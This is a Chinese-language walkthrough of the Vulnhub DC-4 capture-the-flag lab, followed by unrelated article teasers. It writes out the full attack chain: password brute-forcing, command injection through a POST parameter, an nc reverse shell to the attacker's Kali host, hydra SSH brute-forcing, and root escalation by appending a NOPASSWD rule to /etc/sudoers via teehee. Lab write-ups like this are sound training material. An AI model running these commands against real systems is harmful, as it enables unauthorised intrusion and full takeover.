【Vulnhub靶场】DC-4

news2024/12/23 20:46:24

DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip

本机IP:192.168.118.128

靶机IP:192.168.118.0/24

信息收集

扫描主机存活,扫描端口,扫描服务

第一步扫描出主机ip为192.168.118.141

nmap -sP 192.168.118.0/24
nmap -p- 192.168.118.141
nmap -sV -A 192.168.118.141

扫描出两个端口,22端口和80端口

使用dersearch扫描目录

dirsearch -u http://192.168.118.141

查看web服务,访问http://192.168.118.141

发现页面就只有一个登录页面,结合刚刚扫描出来的目录,也再没有价值

Getshell

尝试登录,使用bp抓包,发现也只提交了账号密码两个参数

密码爆破

猜测账号为admin,密码加载网上top1000弱口令密码尝试爆破

成功爆破出密码为 happy

使用得到的账号密码(admin :happy)登录web页面

登录成功,里面有一个命令执行小工具,提供三个命令可供选择

使用bp抓包查看一下

任意命令执行

发现提交的参数在这里被直接上传了,经过简单测试(修改提交的参数为id),可以看到,通过修改了POST传参radio的值达到了任意命令执行的效果

反弹shell

这里经过测试无法直接通过echo命令上传木马,也无法bash反弹,这里采用nc的方式反弹shell

在Kali主机上开启监听, 在靶机上面执行nc命令,将shell弹到Kali上

nc -lvvp 6666

nc -e /bin/bash 192.168.118.128 6666

最后成功反弹shell,但是并不是一个稳定shell

上传脚本得到使其升级为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

切换用户

查看一下主机的普通用户,经过一系列查找,最终找到一个旧密码文件夹

cat 进去查看,是一大堆密码,结合刚刚寻找的目录,猜测应该是本地账户 jim的密码

在kali主机上创建pass.txt,将得到的密码放进里面

使用hydra工具爆破ssh,来得到jim的密码

hydra -l jim -P pass.txt ssh://192.168.118.141

爆破成功,我们成功得到了jim的密码:jibril04

 ssh连接

ssh jim@192.168.118.141

 这里提示我们有一个mail

使用find命令查找文件mail

find / -name "mail" 2>/dev/null

尝试给出的路径,最终得到了封信

这个人给出了他的密码,很明显,他是在home目录下的,尝试ssh登录一下

ssh charles@192.168.118.141

提权

查询一下可以执行root命令的指令 

使用teehee提权

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

sudo su -root

这个命令的目的是将一行配置添加到 /etc/sudoers 文件中,以允许用户 charles 在不输入密码的情况下执行所有命令,然后以 root 用户的身份启动一个新的登录 shell

提权成功

最后在root目录下成功找到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2224459.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java后端面试题:Java基础篇

目录 Java基础 1.请你说说Java中基本数据类型的bit长度? 2.switch支持哪些数据类型?支持long么? 3.讲一下常见编码方式? 4.char能不能存储中文? 5.为什么数组索引从0开始呢?假如从1开始不行吗&#xf…

Java篇图书管理系统

目录 前言 一. 图书管理系统的核心 二. 图书管理系统基本框架 2.1 book包 2.1.1 Book(书籍类) 2.1.2 Booklist (书架类) 2.2 user包 2.2.1 User类 2.2.2 Administrator(管理员类) 2.2.3 Visitor(用户类) 2.…

数据结构 - 散列表,初探

今天我们继续学习新的数据结构-散列表。 01定义 我们先来了解一些常见概念名词解释。 散列:散列表的实现叫做散列,是一种实现以常数级时间复杂度执行查找、插入和删除的技术; 散列值:通过散列函数对输入值(key&…

【c++篇】:从基础到实践--c++内存管理技巧与模版编程基础

✨感谢您阅读本篇文章,文章内容是个人学习笔记的整理,如果哪里有误的话还请您指正噢✨ ✨个人主页:余辉zmh–CSDN博客 ✨ 文章所属专栏:c篇–CSDN博客 文章目录 前言一.c/c内存分布二.c/c的动态内存管理方式2.1.c语言的动态内存管…

JavaEE初阶---多线程(五)---定时器/线程池介绍

文章目录 1.定时器的介绍2.线程池2.1为什么需要使用线程池2.2如何进行线程池的创建2.3普通的构造方法的局限性2.4该种对象创建的方法的特点2.5线程池的模拟实现的逻辑 3.ThreadPoolExecutor类的介绍3.1构造方法3.2四种拒绝的策略 1.定时器的介绍 下面的这个就是我们的这个定时…

基于JSP的高校食堂食材选购管理系统【附源码】

基于JSP的高校食堂食材选购管理系统 效果如下: 系统首页界面 用户登录页面 食材信息页面 论坛交流界面 管理员登录界面 管理员功能主界面 食材信息管理界面 订单配送管理界面 用户功能主界面 商家功能主界面 司机功能主界面 研究背景 近年来互联网技术的发展使得…

【C++篇】手撕string类:从初级到高级入门

1.为什么手撕string类 在面试或者一些学习场景中,手撕 string 类不仅仅是对字符串操作的考察,更多的是考察程序员对 C 内存管理的理解。例如,深拷贝与浅拷贝的实现,如何正确重载赋值运算符,如何避免内存泄漏&#xff…

线上环境的 JAVA 程序占用太多 CPU 资源,定位原因

线上环境的 JAVA 程序占用太多 CPU 资源,定位原因 top 命令执行显示一下结果 我们可以看到有一个 PID 是 4054 的应用程占用了超过一半的 CPU 资源,这是十分糟糕的事情,这个时候我们首先定位一下他是哪个线程在这里搞事情,这个时…

【JavaSE】认识String类,了解,进阶到熟练掌握

#1024程序员节 | 征文# 下面就让博主带领大家一起解决心中关于String类的疑问吧~~~ 1.字符串构造: 第一种和第二种(有一定的区别,在常量池上) public static void main(String[] args) { // 使用常量串构造 String s1 "h…

【机器学习】——numpy教程

文章目录 1.numpy简介2.初始化numpy3.ndarry的使用3.1numpy的属性3.2numpy的形状3.3ndarray的类型 4numpy生成数组的方法4.1生成0和1数组4.2从现有的数组生成4.3生成固定范围的数组4.4生成随机数组 5.数组的索引、切片6.数组的形状修改7.数组的类型修改8.数组的去重9.ndarray的…

【Visual Studio】下载安装 Visual Studio Community 并配置 C++ 桌面开发环境的图文教程

引言 Visual Studio 是一个面向 .NET 和 C 开发人员的综合性 Windows 版 IDE,可用于构建 Web、云、桌面、移动应用、服务和游戏。 安装步骤 访问 Visual Studio 的官方下载页面: https://visualstudio.microsoft.com/zh-hans/downloads/运行已下载的 V…

java疫苗发布和接种预约系统源码(springboot)

项目简介 疫苗发布和接种预约系统实现了以下功能: 疫苗发布和接种预约系统的主要使用者分为: 管理员对公告信息,医院信息,疫苗信息,医生信息,用户信息,论坛帖子信息以及预约接种信息等信息进行…

ThinkPad T480拆机屏幕改装:便携式显示器DIY指南

ThinkPad T480拆机屏幕改装:便携式显示器DIY指南 本文记录了将旧笔记本电脑 T480 拆机屏幕改装为便携式显示器的全过程。作者在决定升级设备后,选择通过 DIY 方式利用原有的屏幕资源。文章详细介绍了屏幕驱动板的安装、螺丝孔的剪裁、排线连接及固定的步…

系统性能优化——绑核

简要 绑核正如其名,将线程/进程绑定在一个或多个CPU核心。该技术可以使进程或线程在特定的处理器上运行,而不会被操作系统调度到其他处理器上。这里有两层含义。 如果线程被绑定在指定核心上,则只会在该核心上运行,即使其他核心…

Django自定义过滤器

一、介绍 Django过滤器是一种用于在Django模板中处理数据的技术。它们的主要作用是对模板中的变量进行加工、过滤或格式化,然后返回一个新的值供模板使用。这些过滤器可以在变量输出时,对输出的变量值做进一步的处理,以满足特定的显示需求。…

C# 串口通信教程

串口通信(Serial Communication)是一种用于设备之间数据传输的常见方法,通常用于与外部硬件设备(如传感器、机器人、微控制器)进行通信。在 C# 中,System.IO.Ports 命名空间提供了与串口设备交互的功能&…

Golang | Leetcode Golang题解之第508题出现次数最多的子树元素和

题目: 题解: func findFrequentTreeSum(root *TreeNode) (ans []int) {cnt : map[int]int{}maxCnt : 0var dfs func(*TreeNode) intdfs func(node *TreeNode) int {if node nil {return 0}sum : node.Val dfs(node.Left) dfs(node.Right)cnt[sum]if…

数字后端零基础入门系列 | Innovus零基础LAB学习Day6

今天没有具体的数字IC后端lab实验。今天的重点是熟悉掌握静态时序分析STA中的几类timing path以及setup和hold检查机制(包含setup和hold计算公式)。 芯片流片失败的那些故事 数字后端零基础入门系列 | Innovus零基础LAB学习Day5 等大家把今天内容学习…

设计模式(二)工厂模式详解

设计模式(二)工厂模式详解 简单工厂模式指由一个工厂对象来创建实例,适用于工厂类负责创建对象较少的情况。例子:Spring 中的 BeanFactory 使用简单工厂模式,产生 Bean 对象。 工厂模式简介 定义:工厂模式是一种创建…

Spring Boot框架下中小企业设备管理系统开发

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及,互联网成为人们查找信息的重要场所,二十一世纪是信息的时代,所以信息的管理显得特别重要。因此,使用计算机来管理中小企业设备管理系统的相关信息成为必然。…